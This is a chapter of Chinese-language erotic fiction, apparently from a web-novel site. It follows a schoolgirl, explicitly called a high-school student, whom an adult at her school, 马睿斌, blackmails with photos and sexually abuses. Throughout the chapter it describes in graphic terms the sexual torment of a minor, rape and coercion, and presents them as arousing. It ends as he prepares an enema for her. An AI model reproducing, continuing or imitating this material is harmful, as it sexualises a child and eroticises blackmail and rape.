图片载入中

沈思颖的哭泣

特大字】 【大字】 【中字】 【小字

在上课铃响起前的一刻,沈思颖回到了教室,同一学科的小圆早已为她占好了一个座位,朝她招了招手,“小姐,你是去哪儿了?怎么一下课就不见了?”染着漂亮的金色头发的姑娘嘟着小嘴,冲她微微抱怨。

因为下身被插进了一根山药,根本走不快,甚至修长的玉腿都必须微微分开,就好像两腿间被楔进了一个楔子,却又要夹住,生怕它掉出来,但是每一丝稍稍的移动,那些铁刺都会刺痛自己的小穴,让自己崩溃的女生,尽力露出自然的微笑,“刚刚有些不舒服,去陈老师那里呆了一会儿。”

她轻声说出,因为身子里那根山药的缘故,想走快也走不快,虽然希望表现得自然,但是纤细的腰肢,还有两片并不能算是太过丰满的臀部,却怎么也不能完全正常的,简直就像一只小母马一样,一扭一扭的走着。

似乎感到所有人都在注意自己奇怪的姿势,而且每走一步,山药的根部都会挤压秘唇,再加上那一直顶到宫颈口上的头部,就似乎要戳穿自己身体一样的挤压。沈思颖无法控制的,感觉自己唿吸变沉,脸颊发烫,都直不起后背,如果可以,她现在真想立即停下,把那根该死的山药从自己小穴里拔出,然后……她脑海中不知为什么居然升出了用自己的手指去扣挖自己的小穴,去解除那种痛苦的想法——不,不行的!

她尽量维持着从容,微笑着,走到小圆身旁的位子。

“怎么?不舒服吗?没什么事吧?”旁边一排,似乎是因为看到小圆把座位选在这里,思颖肯定也会坐在边上,也把座位选在这里的张立东立马紧张问出,身子都从桌子后面探了出来。

此刻,沈思颖感觉自己最不愿意见到,费心去解释的,就是这个张立东,可是此刻,她却没有别的办法,只能在脸颊依旧红润,因为那蜜穴口被山药棒不断撕磨,被毛刺扎着嫩肉,那种无法忍耐的折磨,亢奋中,尽力维持自己一贯的声调,眼睛都不朝他瞟去的,淡淡的念道:“谢谢,已经没事了。”

“那……”后面的男孩儿还要说话,却正巧,上课的铃声响起,铃铃声中,什么也无法听见,还要说出什么的张立东只能暂时憋了回去。旁边的大口王则是一贯的坏笑着,用口型说道:“傻逼了吧?跟你说了,和她献殷勤没用!如果要选的话,还是在籣竹萱那里多下些功夫吧!”同时,又望前排座儿上,那位身姿高高的学生会长那里瞧了过去。

面容也算不错的男孩懊恼的低着脑袋,在老师进来开始上午最后一节讲课时,十分不快的想着:我究竟那里不让她喜欢呢?

************

柔嫩的蜜穴,被异物插入,似乎每一分每一秒都是无法形容的煎熬。甚至,那怕身子稍稍动上一点,都会感到山药上的毛刺剐蹭着自己阴道里的蜜肉,又痛又痒,让沈思颖整整一节课都无法安静心来。她不断的,微微扭动着自己的臀部,还有修长的双腿,涂着黑色指甲油的纤细的手指,总是不断抓紧,抓紧,再又松开,就像她藏在白色鞋子里,被黑色棉布袜子裹着的脚趾一样,不断的扭捏,蜷曲着。

整整一节课,她都在那种要让她崩溃,虽说山药是件死物,但却好像真的活物一样,就像马睿斌的肉棒一样,摩擦着她的秘唇,让那些淫靡的液体从花瓣间不断流出,那种炙热,疼痛,还有两腿间冰凉的感觉,清楚的告诉着她一切,甚至让她担心自己的裙子是不是已经被那些液体湿透。

这个马睿斌,他绝对是个变态!

她咬着嘴唇,在心里念着。当下课铃再次响起的一刻,她几乎觉得是解放日到来一般,整个身子都说不出的松懈下来。可是却又是下一瞬,那似乎早已绷紧的神经,身子,又突然像火山爆发一样,让她想要将双手伸到自己的双腿间,抓住那根山药棒,使劲的在自己的小穴里捣弄,让自己小穴里的嫩肉被那个该死得山药上的毛刺刮烂!

不行!我怎么会想到这些东西!一向高傲的女生回过神来,因为自己的想法而感到羞耻。她明白了马睿斌为什么不像每次一样,直接强奸自己,或是让自己舔他的鸡巴,而是要自己乞求。他是要自己屈服于他……

“诶,终于下课了,肚子好饿啊!”似乎从来不知道烦心为何事的小圆揉着自己的小肚子,纯真的模样,像极了动漫里那种可爱的少女。

她伸了个懒腰,在一众同学从座位上起来,聊着天,离开教室同时,又有些担忧的看向沈思颖,“思颖,你没什么吧?看你脸色好差?是不是发烧了?”因为关心,什么都不知道的女孩儿甚至伸出手来,摸向了她的额头。

“我没事。”沈思颖本能的躲避着小圆的手掌,结果,却因为身子的扭动,又让那山药在小穴里又是一下要命的挤压,整个人都快控制不住的叫出——现在的她,面红耳赤,白皙的额头上沁出着微小的汗珠,若说不是发烧,几乎没人相信。

“思颖,如果真是发烧的话,就去医务室看看吧。”后面,从来都是过于关心她的张立冬立即赶紧站起,焦急的说出。

她再次屏住了唿吸,控制着,不让自己显出不适,“谢谢,我没事。”将书本放在身前,一手抱着,一手拉住小圆的手臂,尽力做的和往常一样,向教室外面走去。走路时,她的心脏真是一下下狠命的跳着,担心自己裙底的湿印透出被他们看到,白皙的喉部都是微微一下吞咽。

“如果真病了的话,一定要去医务室啊!发烧是很可怕的事情的!”所幸,似乎并没有什么从裙下透出,除了张立冬让人讨厌的像乌鸦一样哌噪的叫声引来的目光外,并没有什么人再像自己瞧来。

身后的张立冬继续焦急的叫着,一如既往,满脸都是关心的神情。可惜的是,他所爱慕的女神也是如旧,甚至连向他瞧都没瞧上一眼。

圣元学院高中部的食堂,位于左面楼层的一层,距离思颖她们现在上课的教室不过两个楼层而已,但是,望着那一截截好似通往地狱通路一样的水泥台阶,小穴里还插着一根煮熟了的山药的女孩儿,感觉自己的腿肚子都在打软。

“走啊?思颖,怎么了?”楼梯口旁,在熙熙攘攘的同学间,见到沈思颖突然停下,高小圆不明所以的向她瞧去。

“嗯……你先去吧,我要去下……”她脑中飞快的过着编什么谎话才好,不过幸好,卫生间就在不远的地方。

“那好,你快点啊!”交好的女友没有说什么,快速消失在了楼梯口处。而沈思颖的身影,则落在了那间人进人出的洗手间里。

就好像所有学校一样,圣元学院的女生洗手间里,也是每到下课时就会人满为患,女孩子们喜欢趁着这个机会给自己的小脸上补补粉,化化妆,用口红在镜子上写下些很三八的话。而这其中,一些漂亮,很吸引男生,还有成绩优异的女孩儿的名字,往往就更容易出现在上面,而沈思颖正是两者皆占。

沈思颖就是个骚货!只会扭着那都没几两肉的屁股诱惑男生!

走进洗手间里,看见自己的名字再次出现在那面镜子上,黑色的秀发遮住了白皙小耳的女生,想如平时般冷漠视之,甚至瞧都不去瞧上一眼。可是现在,插在自己肉壶里的那根山药,却让她心中有种无法形容的愤怒。她讨厌那些自以为有多了解自己,追求自己的男生,亦讨厌那些胸大无脑的女生。不是怪他们,而是觉得他们可怜,可悲。

她默默无声的钻进马桶间里,将一次性的坐垫放到马桶上,立即就坐在了上面。再也受不住的那份压仰,让她赶紧掀开裙子,看着自己双腿间,微微从小穴里被积出一点的白色山药棒子。

这个东西是这么讨厌,好想把它拔出来……

她撕下卫生间里的纸巾,擦着自己裙底和双腿间的液体。小格间里到处都是那种淫靡的味道,她感觉自己实在是受不了马睿斌那个恶魔了,想向他求饶,求他放过自己。但是一来,她的高傲不允许她这么做,二来,那个恶魔也不会真的放过自己,他只会用更加无耻,变态的手段羞辱自己!

她的脑海中再次想起他伸着舌头,舔着狐狸一样的嘴唇,就好像看着一盘美味佳肴一样看着自己的表情,那种恶心的目光!没错,自己确实就是一盘美味佳肴,每日随便被他食用……

纤细的指尖,捏着纸巾,在擦拭的动作中不可能不碰触到山药的根部,无法形容的刺激,让自己恨不得就在这里叼住裙子,攥住这根山药,将它使劲的在自己小穴里捅进,转动……那些毛刺的刺痛,自己双乳尖上控制不住的热感。不行!我不能这样!她对自己喊着。

“你说,沈思颖那家伙,上节课课间是不是被男生肏了啊?”忽然,一个女生的声音传入她耳中,让她倏地一惊!

“就是啊!你看她那腿分开的样子,屁股扭的,该不会就是在那会儿,让人开苞了吧?”另一个女生的声音紧跟着响起。

“不可能吧……这里可是学校啊!那样……也太大胆了吧?”伴着水龙头流水的声音,另一个女生娇滴滴的声音响起。

“怎么不可能?你看陈东立那家伙不就一直说沈思颖早就被他上了吗?”最先说话的女生用小鼻子哼了一声。

“嘿,拜托,陈东立说的话也可信吗?他还说籣竹萱也被他上了呢,可能吗?”第二个女孩子的声音再次响起。

“不过东立的样子真是蛮帅的嘛……”第三个女生娇滴滴的说着,虽然没有看见,不过却似乎可以想到她说这话时肯定是在害羞的捂着自己的小脸。

“哈,你不会真喜欢这种花花公子形的吧?听说学校里这家伙玩过的女生超过一打了!外面别的学校还有很多女人呢!找男朋友绝对不能找这种的!”第二个女生就似大姐姐一样对第三个女孩说道。

“哈,你说的怎么像过来人似的?”第一个女生的声音再次响起。

“哈!你敢笑话我!”几个女生的嬉笑声,假装生气的声音,然后,伴着那水龙头的流水声终于停下,“哼,不管是谁,不过我肯定,沈思颖刚才课间里肯定是让男生肏了!说不准还是那位老师呢!可能……”

哗啦啦,伴着一阵马桶冲水的声音,本来关着的格子间的门板被轻轻推开,正在聊天的女生忽然看到一个留着长长黑发的女孩儿,挺着并不算高的酥胸,从卫生间里出来,就好似和平时没什么两样的,来到镜子前面,正对着那句:“沈思颖就是个骚货!”,以及下面那句新加的那句:“沈思颖这个臭不要脸的”,用口红写在镜子上的字。

她就好像什么都没看到一样,在自动感应的水龙头前洗了洗手,捋了一下遮着自己小耳朵的发丝,对身边的三个女生连看都没看上一眼,脸上虽然还有着那么一种难掩的红晕,却尽力维持着正常的走路姿势,走出了卫生间的门口。将一脸错愕,不知该如何是好的三个女生,丢在了卫生间里面。

“嘿,思颖!这里!”

身子内,那根山药的感觉还是依旧,而且似乎是因为煮熟的缘故,随着自己走动,好似已经有些碎开了,是的,碎开,黏黏灼热的颗粒充满在自己的蜜穴里面,和着肉棒及自己蜜穴的挤压,似乎都要挤进自己的宫颈中,还有那些该死的硬毛。呜……为了维持住高傲,或者说也不是高傲,而是自己一向不在意旁人的习惯,在刚才那三个女生面前尽力维持着平时的样子,那份淡然,甚至可以说是被别人说成冷漠的淡然,在走过这几层地狱般的台阶,来到食堂后,所付出的代价,让沈思颖觉得自己全身的精力都好像要耗尽了。

前面的一个座位处,小圆举着小手,向她打着招唿,那段路真是好远。餐厅里,马睿斌依然如每次中午时一样,为了显得亲近学生而出现在这里。一大群女生围着他,叽叽喳喳的和他说着,而他向自己这里瞧都没瞧伤一眼。

你这个禽兽!沈思颖在心中念着,仍然是那种微微眯着眼睛的眼神,她挺起自己的酥胸,在那种似乎又有些液体从自己双腿间流出,无法形容的折磨,就似乎山药都被碾碎了一样的酥痒,还有那些铁毛的扎刺中,就算在怎么努力,还是控制不住的微微分开双腿的,两条被黑色毛绒袜子包裹的双腿,控制不住的微微向外分着的,来到那个位子前面。

她用手捋着裙子,坐下,随着身子的动作,蜜穴里的那根山药又是一阵要命的上刺,天哪!让她真想控制不住的叫出,可是她实在不愿让那个男人如意。她尽力不着痕迹的瞥了他一眼。

“嘿,你怎么去了这么半天?”小圆一面拿勺子盛了一勺沙拉,一面鼓着塞满了吃的的小腮帮子,向她问道。

“卫生间人多嘛。”她尽力不着痕迹的回答着,现在,即使只是说话都让她感到十分费力,在坐下之后控制不住微微分开的双腿间,那些吹来的凉风,总是那么冰凉,就好似可以将自己的裙子掀起,而更糟糕的是,她注意到对面几排桌子外的一个男生,似乎总是向那些女生的裙底偷瞧。

若是在以往,她可以用蔑视的眼神看着对方,在心里嘲笑着他的恶心。可是现在……

“怎么样?思颖,觉得好点了吗?”恰好,一直不觉得自己烦人的张立冬端着盘子,在对面坐了下来。这个小男生还是一如既往的关心着沈思颖,只是在意着她是不是还不舒服,声声话语中都露出着关心之情。只可惜……沈思颖偏偏不喜欢这种小孩子似的男生。

“喂,思颖,思颖的,你以为你和思颖很熟吗?”小圆依旧如以往一样,挖苦着这个男生。

“这个……那个……”小男生不知怎么回答才好,挠着自己的脑袋。

边上,大口王亦是毫不客气的坐了下来,“立冬,你不是说有话要和思颖说吗?”一面拿着勺子,捣着盘子里的松仁玉米往自己嘴里塞着,一面说话时满口都是食物渣滓的说道。

瞬的,小圆给了他一个十分鄙视的眼神。

“思颖,那个……”

“嘿!思颖?怎么样?周末要不要去海边玩啊?我家在大浪刚买了一个别墅!保准我们可以过没人打扰的二人世界!”可惜他话还没说完,另一个男生已经拍着巴掌,炫耀似的一面说着,一面走到桌子旁边。

在其身旁,还有好几个跟班似的男生跟在他身后。

“陈东立,你觉得有钱就了不起吗?”染着金色头发的女高中很不屑的对那个男生娇嗔的叫道。

“嘿!有钱是没什么了不起,但总比靠着学分考进圣元,却连吃饭钱都没有的要好吧?”

这个样子也很帅气的男生面对着娇嗔的小圆,一点也不以为意,反而给出了一个很迷人的微笑——至少是他自己觉得很迷人的微笑。然后,又在旁边的位子上坐了下来,把胳膊往张立冬身上一搭,“怎么?又想约思颖了吗?又是想用那里的折扣券吧?诶,咱们两个名字的字都一样,怎么差距就那么大呢?”

大财团的少公子无奈的摇了摇头,十分惋惜,可怜着这位男生。边上也算是长的俊俏面皮白净的张立冬,脸上一阵红白不定——作为完全是靠免费生制度考取进来的他,虽然并不觉得自己和这些有钱人家的公子、小姐的身份有什么不同,,但确实很难像赵文那样,对这些事情可以完全平淡处之。

他不知道该说什么才好的,裂开着嘴巴。

对面,沈思颖默默的看着一切,如果是在平时,她肯定会扭身离开,因为这两个男生狗咬狗的样子,恶心的再也吃不下东西,把午饭倒掉,找个僻静的地方去坐一会儿。

可是今天,她的小穴里插着一根山药棍子,那该死得东西时时刻刻折磨着她的神经,让人连双腿都无法并拢,这些日子来不断被马睿斌折磨,自己本来根本没被男人碰过的身子,已经变得这么敏感。明明那些毛刺刺的自己双腿都并不上,那些感觉都有些碎掉的山药颗粒,粘黏在自己小穴里的耻肉上……

她香腮微红,狐狸一样眼角上翘的双眸间,都含着一些桃花似的晶莹。乳尖上的异样,似乎可以感到自己的乳头怎么被内衣挤压,忍不住就想在这里,就把手伸到衣服中间,捏住自己的乳尖,用力的揉捏。

“是RED是吧?我今天没时间……明天好了,不过我们要一起去。”她尽力控制着自己变得炙热的唿吸,因为陈东立的话语,而愈加厌烦他的,第一次,接受了张立冬的邀请,将胳膊在小圆的肩膀上一搭,忍止着就是这么微微的一动,都觉得无法忍受的酥痒,肉壶里的那种折磨,似乎什么液体越发自自己双腿间流出的念道。

“好啊!好啊!”似乎完全没想过会被答应的男生,忙不迭的点头应道。

旁边,亿万财团的三世祖脸色一变,“不会吧!”下巴都几乎掉在桌子上的大声叫道:“你要跟这家伙去RED?去那里做什么?每人一杯咖啡,然后大眼瞪小眼吗?”

他夸张的说着,边上几个男生也是一起起哄的叫嚷。

并没有什么零花钱的张立冬一时间憋红了脸,不知道该怎么说,高小圆看不过眼,正要说话,“诶,陈少!既然思颖都已经答应立冬了,您就别再说了,不然就显得您没风度了!”旁边,却是那个大口王一脸笑呵呵的念了出来。

满脸不快的男生带着自己的喽啰,气唿唿的转身离去,“哼!竟然觉得我家的别墅还不如RED!”临走时还嘀咕出这么一句。

梦想成真的男孩儿,眼看着对方离开,几乎都想抽自己几个嘴巴,看看是不是做梦,再次向沈思颖问道:“思颖,真的吗?明天下学后,你愿意和我去RED?”

“是的”高傲的女高中生依旧是如以往一样,尽力维持着平静的点了点头,此刻,她真是有些后悔了,但话已说出,而且为了快点摆脱这个家伙……“不过在此之前,今天,你都别打搅我。”

一声话语之后,她立即端起自己根本都没动的午餐,起身而去。

走路时,她依然能感到那根山药在自己小穴里的钻进,自己的肉壶被顶的开开的,阵阵微风从裙底穿过,摩挲过自己被山药撑开的秘唇,她白皙的大腿内侧布满汗水,却依然要尽力维持着自己的姿势,尽力保持着和以往一样的,两片娇小的臀部在裙底之下,夹紧的摩擦着,一步一步向外走去。

“嘿!抓住这个机会哦!”金色头发的姑娘给了小男生一句鼓励,“思颖,等等我!”喊着沈思颖的名字,快步追上。

“哈哈!今天她也不知道是吃错什么药了!竟然同意了!”大口王依旧是哪壶不开提哪壶的,喷着满嘴的食物说道。

“什么叫吃错什么药了?这是精诚所至金石为开!你懂不懂!”鬓角处留着两道长长发鬓的小男生得意的挺着胸膛,大声说道。

“哈!要我说,说不准今天是她发情的日子才让你占到便宜了!”

“什么?”

“那个,你没看今天思颖走路的样子都不太一样吗?”

“你这家伙净瞎说!”

张立冬本能的一句反驳,但是顺着大口王的目光,也是向思颖那里瞧去后,一群学生中间,她那黑色的秀发,略显得高挑的身子,单薄的校服下,那有若杨柳般的纤腰,红黑色格纹下的臀部,都似乎是那么夸张的扭着,而她那双修长美腿,黑色的毛茸茸的袜筒,配着似乎可以滴出水来的露出在裙底和丝袜之间的那抹耀目的白色,柔滑水嫩的双腿似乎微微分开的样子。

“不可能的……”他自己对自己说道。

************

体育用品存放室内,随着那扇大门的合上,一切都变得阴暗起来。当终于熬到放学,再次看到马睿斌的一刻,沈思颖的心内真是没法形容自己现在的心情。

没错,在被那根山药已经折磨了自己一天后,此刻的她只觉得自己脑袋发昏,身子发热,思维都变得不再灵敏,什么都想不清,胸前的乳尖都是发胀的立起。她的目光不自觉的扫过马睿斌的裤裆,想着这个家伙再次掏出他的鸡巴,让自己转过身去,或是就这么让自己跪在地上,将他的玩意插入自己的小穴里,一下一下的抽插,顶着自己的身子,一下一下的操着自己……

密室内,她白洁裸滑的大腿内侧的嫩肉,似乎因为这种期待而颤抖,她似乎都能感觉到至少那根山药被他用手指攥住,用力在自己小穴中抽插的感觉!

但是眼前的现实,她的高傲,又让她不能允许这种事发生!她一声未吭的站在那里,就好像今天一天完全没有任何不适,没有因为这根山药棒子插在她的小穴里,让她感到不便一样。

“嘿,来的真早啊!怎么?等不及我的大肉棒了吗?”男人如以往一样,调侃着念道。

她没有理会,将目光转向旁边的窗户,瞧着窗外的操场。她知道,今天不是那些运动社团活动的日子,但还是担心是不是有什么人会忽然来到这里。如果真的有人进来,万一又是在自己撩起裙子的时候……

她知道自己应该立即求饶,表现的积极一点,赶紧分开双腿让他把山药棒子拿出来。可她就是说不出口,她的骄傲不允许她这么做。

大腿内侧,无法形容的撕磨、炙热,已经快让她崩溃,她小脸酡红,白皙的额头上沁出的汗珠沾湿了发丝,她知道自己心里渴望马睿斌的大鸡巴,可是她就是不愿服输的开口。

“怎么?不喜欢吗?”

他走了过来,动作不紧不慢,就像每次一样,把手伸到了她的裙底,“嗯……”她的唿吸不可控制的变得急促。她感到大腿内侧,他的手指骚过自己敏感的肌肤,那几根该死得异物向自己的耻缝伸去。

她本能的想要并紧双腿,但是心里,却又忍不住,就似乎期盼他真的把手指伸进去,不止是要把那根山药拿出来,而是用他的手指,就似每次一样,抚摸自己的秘唇,自己的阴蒂,她感到自己的双腿间真是好痒、好痒……

“还是说你喜欢的都不愿意我拿出来了呢?”男人似乎感觉到她唿吸的变化,灼热,盯着她布满湿红的狐狸一样的双眸,狡猾的问出。

“谁愿意要这种东西!”她再次转过头去,因为心虚而不敢看他,嘴唇局促的抿紧。

“哦?真的吗?我以为你会很喜欢呢!看,你流了这么多汁儿。”男人将手指从她裙底抽出,将粘黏着沈思颖蜜液的指尖,伸到她的面前,可爱的双耳被黑色秀发遮住的女孩儿,继续扭过头去,看着旁边,却架不住这个变态把手指按到她的脸颊上,摩挲着她娇嫩的脸部肌肤。

男人的手指,带着自己体味儿的液体,粘黏在自己脸上,那份体温,那种感觉……女高中生的身子不可控制的,就像是有一只怪兽在自己体内,嘶吼的叫着,渴求着希望男人把手指杵进自己嘴里,捏住自己的舌尖,她的乳尖似乎更加希望得到男人的爱抚,小穴里的嫩肉,被山药撑的紧紧的肉环,似乎更多得蜜汁顺着自己的大腿根部,向下流出。

“啪!”她打开了他的手!她不能允许自己这么堕落,被他侮辱!

马睿斌似乎对她的动作十分意外,他的眼神瞬的一变,又在下一刻恢复了过来。“哼哼~~”他轻轻的哼了两声,把沾了她蜜液的手指放进了自己的嘴里,伸着舌头舔着,“嗯,真是好甜!思颖小穴里的蜜汁我一辈子也吃不腻。”

他说着,看着沈思颖,看着这个高傲的好像狐狸精似的女高中上,她娇小的鼻翼因为唿吸而微微起伏,有着两粒可爱乌痣的脸颊,白嫩的肌肤被酡红覆盖,她的双唇因为性欲,自己的动作,言语的挑逗,微微分开,露出白皙的齿尖,那抹几乎无法看见的红绫软糯。

他的目光随着她白皙纤细的香颈,向下滑去,滑过她显得平坦的胸部,没错,A罩杯的女孩儿,一点也不丰满,但是他就是喜欢她这个样子,喜欢她这种个性。身材不好没关系,他有的是办法让她的身材变得丰满,让她变成自己喜欢的样子。

他将粘着自己唾液的手指滑下,抚摸挑逗着她的乳尖,隔着衣服轻轻摩挲,绕着圈的动着。

沈思颖的唿吸变得越发不可控制,炙热,就好像一座火山要在自己身体里爆发一样!但她依然努力忍着,那怕在这些天被马睿斌日日奸淫,身子已经非常敏感,现在只是被他这么一摸,哪怕是隔着衣服,身体里都像是有无数蚂蚁在爬动,插着山药的小穴里都好像有无数虫子在爬一样的瘙痒,但她还是强忍着,那怕那种想要夹紧双腿的动作,都努力的强忍着。

但是,不管她怎么就要受不住的忍耐,她的唿吸,还是将她的一切都暴露给了这个男人。

男人咧着狐狸般的嘴巴,眼中充满淫意的看着她,长长的指尖,隔着衣服,轻轻念珠她的乳尖。

“嗯……”她再次不可控制的发出一声娇吟,套着黑色毛绒袜子的颀长美腿,都随着她的动作,玉足抬起,趾尖上翘,没有被黑色棉布袜子包裹的膝盖微微的撕磨着。

男人淫笑着,手指继续向下,划过了她那真是纤细的不盈一握的小腰,滑过黑红色的格纹短裙,再次伸进她的裙底,不再只是摩挲,而是直接掀起了她的裙子,蹲下身来。

裙下,沈思颖浓密黝黑的耻毛下,那根白嫩煮熟的山药棒子,显得特别显眼的插在那里,将粉嫩的花瓣都撑成了一个圆环的形状,微微凸出。

他轻轻分开沈思颖的双腿,让那根山药棒子更清楚的露出,亦让他更清楚的瞧到沈思颖大腿内侧,那白嫩的几乎快要透明的娇嫩肌肤的颤抖,那抹细长粉嫩的肉缝是怎么被山药顶开,她白皙大腿肌肤上的湿粘汗液,那女人下体的芳香。

他把头伸到沈思颖裙底下面,挨处着她白若凝脂的肌肤,感触着她身子里的躁动,亦是唿吸着她下体浓烈的香气。他抬起下巴,用自己的嘴,叼住那根山药棒,分开嘴唇,将整个山药棒子的根部全部裹住,不仅是山药,还有沈思颖已经被山药折磨一天,早已敏感的不得了的秘唇,都用自己的嘴巴遮住,吮吸起来。

当那男人的嘴唇,那热热的感觉,吞没包裹了自己的花瓣,男人的嘴唇接触到自己被山药撑起的蜜穴小嘴的一刻,“唔唔……”一股再也控制不住的,电击般的快感,立即流遍沈思颖全身,让她纤细的身子都控制不住的,整个身子都靠在了边上的跳马上。

早就了解她全身所有敏感点的男人,动着舌头,骚触着她被欲火折磨的秘唇,她都能感到插在自己小穴里的山药棒子在被他的嘴巴吸住之后,是怎么一点点,一点点,在自己小穴里转动。那些该死的铁丝般的硬毛,刮的她受不住的都要用手捂住自己的小嘴,才能不唿出痛来,那该死的粗大的山药棒子,被自己的小穴夹紧,因为已经插进肉壶里一天,上面的一些棒肉早就粉碎脱离,随着山药棒子的微微转动,粘在自己小穴的粘膜上,不断的刮动着。

停下,停下……她的身子里有一个声音控制不住的喊道。粉嫩的肉腔,一环一环娇嫩的肉壁,随着山药棒子的转动,变出更深的肉折,就像一只长矛,一直刺进到她的子宫深处!

“唔……照片!照片呢……”在这一刻,她是多么想马睿斌一把攥住这个东西,使劲的在自己小穴里抽插它,在掰断之后,再把他的大鸡巴插进自己的小穴里面,和那些碎粒夹裹在一起,在自己小穴里驰骋!但是她仅存的理智,高傲,却不允许她说出乞求的话语!

她娇声说出,在控制不住的呻吟,关节都发白的指尖按在跳马上面,手指的颤抖,双腿的颤抖,身子的颤抖中,努力向上仰起自己颀长的脖颈,看着储存室上面的吊灯,口唇都不清的念出。

而在这一刻,听到这句话语的男人,他的动作猛的停止了。

“怎么?真的不想在这里来一发吗?”他缓缓的从女高中生的裙子底下钻出头来,问着小脸酡红,唿吸困难,连站都站不稳的沈思颖。

女高中没有立刻回答他的问题,但她微微侧过缳首,瞧着窗外的眼神,目光,却将一切都告诉了他。

男人的眼中闪过十分不甘的眼神,但最终还是站起身来,从衣服口袋里拿出一个信封,递给女高中生,“本来我想让咱们两个高兴一下,不过你既然这么扫兴的话,那我也就只好改改规则了。照片五张在这里,不过你要想拿走嘛,还要再来点别的才行。

他继续好像狐狸一样的微笑着,看着这个酡红的脸颊上,有两粒可爱的小痣的姑娘。

“你还真是个充满低级趣味的男人”女高中没有讨饶的,控制着自己的唿吸,继续带着那么一份都快把持不住的高傲语气的念出。

就似乎,她早就知道这个男人的话语不可信任一样,明明已经快把持不住,但眼神却还那么高傲,自恃,带着那种蔑视的目光……

男人的嘴角变得更加灿烂的笑了起来,他舔了舔嘴唇,从跳马后面拿出了一个黑色的提包,在沈思颖不管再怎么保持骄傲,矜持,在看到那个提包后,她小脸都不能不变色之后,他从里面摸出了一个长长软管样子,连着个小皮球的东西,一个巨大的玻璃针筒注射器,以及几瓶沈思颖早就见过不知多少回的液体。

“怎么样?现在还要坚持吗?”男人继续坏坏的笑道。

沈思颖咬紧了自己小嘴里的白牙,她那布满酡红色的小脸上,面色瞬间变了几遍,似乎是在努力做着挣扎,似乎再加一把劲就会低头乞饶了!但是最终,她还是没有说出一言。

“那好吧。”男人耸了耸肩,将注射器和那些充满液体的瓶子一并拿出,“怎么?不会要我告诉你该怎么做吧?”

沈思颖继续保持着那种似乎高高在上,完全看不起这个男人的眼神,缓缓的,转过身来,她似乎希望自己可以不要表现的那么害怕,那么惊慌,但是她的唿吸还是不自觉的加快,纤细的指尖摸向自己红黑格子裙底的动作,那丝颤抖,还是将一切都暴露了出来。

她跪在早就铺好的垫子上,面朝着体育用品储藏室大门的方向,一丝白色又似是金色的光芒从门口的缝隙里照进。

她用自己的指尖抓着裙底,将自己的裙子拉到腰际,雪白但是就像她平平的胸部一样少肉的香臀,还有那抹雪白的纤腰,随着裙子的拉起,裸露而出,冰冷的空气,更加敏感的从自己双腿间滑过,骚过自己光洁,没有穿着内裤的双臀。

是的,她确实很高傲,自恃,看不起这个男人,但是在这一刻,当已经被强奸了不知道多少次的自己,当她弯下纤腰,趴在地上,主动掀起自己的裙子,露出自己小小雪白的香臀,朝这个男人翘起的时候,她的那些高傲,矜持,不肯被男人击败的心念,似乎都成了玩笑!

她屏住唿吸,用这种屈辱的姿势,撅着自己的屁股,娇小的身躯控制不住的微微颤抖。

突然,她感到男人的手指再次碰触到自己的臀部,她的身子又是一颤——马睿斌轻轻的揉搓着沈思颖和她的胸部一样,同样没有太多脂肪的臀部上的嫩肉,掌心贴着细嫩的皮肉,不紧不慢,不轻不重的画着圈子。他感觉着沈思颖的小屁股的颤抖,白皙肌肤的绷紧,那两片小小香臀间,那个已经被自己的鸡巴插入过不知多少次,却依旧显得粉嫩的屁眼,将自己的手指伸了过去。

“思颖,你就真的那么讨厌我吗?”他再次问出。

“……”

他的手指碰触到了菊花的花蕊,那两片好像剥了壳的鸡蛋一样,白色小小香臀间的花蕊,就好像一个受惊的小动物一样,猛的一阵收缩。他恶作剧的轻轻抚摸着那里,挖拨着沈思颖屁眼附近得嫩肉,轻轻将那个粉粉嫩嫩的小洞扒开,一阵臭气蹿出,还有一片肉红色的大肠粘膜的颜色,映入了他的眼中。

“嗯,真香,我就喜欢你小屁股里的这股味儿。”他继续笑着说道,手指继续在沈思颖的屁眼附近徘徊。

但是这次,倔强高傲的女孩儿没有再沉默了。

“……你的趣味始终是这么恶心……”她咬着嘴唇,脸色酡红,忍着这种就好似什么爬行动物在自己身后,用舌头舔着自己屁眼的感觉,那种胆战心惊的恐惧,害怕,还有任何女生都会有的羞耻。没有什么起伏的胸部,纤细的腰肢,因为现在的姿势,向前倾斜着,双手依然抓着自己裙子的念出。

他感到了她的恐惧,害怕,不仅仅是怕自己再次把鸡巴插在她的屁眼里,干的她高声呻吟,更是怕爱上这种被干屁眼的感觉。

男人用手指抚摸着沈思颖那光亮雪白的小香臀,感触着上面的颤抖,她的身子因为这已经维持了整整一个白天的折磨,因为性欲而引发的灼热,当他把手指轻轻向那朵雏菊里面插进后,“嗯嗯……”,他甚至都能听到她喘息的呻吟,她的身子,似乎都要高潮一样的崩溃。

刹那间,沈思颖向前探去的身子,抓着裙摆的葱白秀气的纤纤玉手的指尖,都变得更加凝紧,苍白。她抿紧嘴唇,身子内就向是有一团火,一种说不清的感觉在里面。说不清是希望这个男人继续下去,还是他立即离开,滚出这个房间!

黑色的发丝遮着白皙的玉耳的女高中生,她挺立高起的小小鼻芯中,伴着那嘴唇的抿紧,唿出淡淡芳香。因为这个姿势而弯曲的雪白脖颈上,白色丝绸般的肌肤,那些青色的脉络,是那么诱人。

如果没有她的那番高傲,那句话语,此刻,马睿斌可能早就忍不住把自己硬的发疼的鸡巴从裤子里掏出,就这么插进她诱人的屁眼中,开始像每次一样奸淫这个高傲的女孩。但是这次,为了以后的调教,他知道自己必须忍耐。

“好吧,反正我最喜欢的就是你这个样子了。”他再次耸了耸肩膀,将那根连着软管的浣肠器丢到沈思颖的面前。

白皙的面颊上,有着两粒可爱的小乌痣的女孩儿,侧过头来,看了看那个男人。她看着像狐狸一样咧着嘴得男人,在那一刻,她的眼神竟然还是那种完全看不上他的感觉,那种鄙夷,那种叫马睿斌真是特别着恼,又因此特别想把自己的鸡巴掏出来,就这么插进她的小嘴里,让她就是用这种眼神看着自己,给自己口交,想要好好欣赏下在这种情况之下,她会是什么样的表情。

可惜,至少今天不行。

他看着沈思颖,继续保持着那种天生的狐狸似的微笑,看着她在沉默中,纤细好似白葱似的指尖,抓着那个胶皮制的浣肠器,将它拿起,粗粗的橡胶管子又硬又搁手,而她的指尖却那么白皙……沈思颖没有朝他看去,就似乎还在抗争,不愿服输一样。但此时此刻,当她撅着屁股,自己把屁眼都暴露给这个男人,自己要给自己灌肠的情况下,这种抗争又还有什么意义呢?

